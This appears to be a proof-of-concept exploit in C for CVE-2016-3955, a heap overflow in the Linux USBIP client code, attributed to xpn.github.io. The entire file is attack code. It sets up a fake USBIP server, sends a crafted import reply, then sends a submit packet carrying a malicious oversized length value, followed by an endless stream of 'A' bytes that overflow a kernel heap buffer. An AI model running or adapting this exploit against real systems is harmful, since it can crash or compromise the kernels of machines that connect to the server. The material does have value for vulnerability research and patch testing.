/**** DOS example for CVE-2016-3955 (USBIP heap overflow) ****/ /**** [ xpn.github.io ] ****/ #include #include #include #include #include #include #include // OP_REP_IMPORT char packet2[] = "\x01\x11" // Verson "\x00\x03" // OP_REP_IMPORT "\x00\x00\x00\x00" // Status (0x00 for OK) "\x2f\x73\x79\x73\x2f\x64\x65\x76\x69\x63\x65\x73\x2f\x70\x63\x69\x30\x30\x30\x30\x3a\x30\x30\x2f\x30\x30\x30\x30\x3a\x30\x30\x3a\x30\x36\x2e\x30\x2f\x75\x73\x62\x32\x2f\x32\x2d\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // Path "\x32\x2d\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x02" // Busnum "\x00\x00\x00\x02" // Devnum "\x00\x00\x00\x02" // Speed "\x80\xee" // idVendor "\x00\x21" // idProduct "\x01\x00" // bcdDevice "\x00" // Device Class "\x00" // Device Sub Class "\x00" // Device Proto "\x01" // Device Config "\x01"; // Num Configurations //"\x01"; // Num Interfaces // URBIP_RET_SUBMIT (our exploit packet) char urb2[] = "\x00\x00\x00\x03" "\x00\x00\x00\x0a" "\x00\x02\x00\x02" // devid "\x00\x00\x00\x01" // direction "\x00\x00\x00\x00" // ep "\x00\x00\x00\x00" // status //"\x00\x00\x00\x08" // actual len "\x00\xFF\xFF\xFF" // actual len (mallicious value to allow overflow) "\x00\x00\x00\x00" // start frame "\x00\x00\x00\x00" // number of packets "\x00\x00\x00\x00" // error count "\x00\x00\x00\x00\x00\x00\x00\x00"; // trailing bytes for xbuf recv ; int create_connection(const char *host, unsigned short port) { struct sockaddr_in sin; int sd; sd = socket(AF_INET, SOCK_STREAM, 0); if (sd < 0) { printf("[X] Could not create socket\n"); return -1; } sin.sin_family = AF_INET; sin.sin_port = htons(port); sin.sin_addr.s_addr = inet_addr(host); if (bind(sd, (struct sockaddr *)&sin, sizeof(struct sockaddr_in)) < 0) { printf("[X] Could not bind to port %d\n", port); return -1; } printf("[!] Bound to %s:%d, awaiting connection\n", host, port); listen(sd, 20); int sd2 = accept(sd, NULL, 0); printf("[!] Connection received, running exploit\n"); return sd2; } void exploit(int sd2) { char buffer[9076]; // USBIP seems to send in 2 send()'s ?? dunno why recv(sd2, buffer, sizeof(buffer), 0); recv(sd2, buffer, sizeof(buffer), 0); // Send our OP_REP_IMPORT response packet send(sd2, packet2, sizeof(packet2), 0); // ***** From here, we are communicating with the kernel rather than userland ****** // // Receive our IRB recv(sd2, buffer, sizeof(buffer), 0); // Update our SEQ number *(unsigned long *)(urb2+4) = *(unsigned long *)((char *)buffer+4); // Send our mallicious packet, with our large transfer_buffer_len value send(sd2, urb2, sizeof(urb2), 0); printf("[!] Overflow with 0x41's\n"); // now send out 0x41's to overflow while(1) { send(sd2, "AAAA", 4, 0); } close(sd2); } int main(int argc, char **argv) { int sd2; sd2 = create_connection("127.0.0.1", 3240); exploit(sd2); }